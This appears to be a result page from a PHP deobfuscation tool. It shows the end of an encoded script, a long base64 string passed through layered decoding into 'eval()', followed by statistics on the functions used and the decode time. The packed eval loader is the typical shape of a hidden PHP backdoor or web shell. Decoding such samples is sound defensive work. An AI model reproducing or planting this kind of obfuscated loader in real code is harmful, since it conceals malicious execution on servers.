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");
eval($m1($str));
?>
Function Calls
strrev | 1 |
gzinflate | 1 |
urldecode | 2 |
base64_decode | 1 |
Stats
MD5 | 8d3c47d197bc5af87e13943ac467556c |
Eval Count | 1 |
Decode Time | 7437 ms |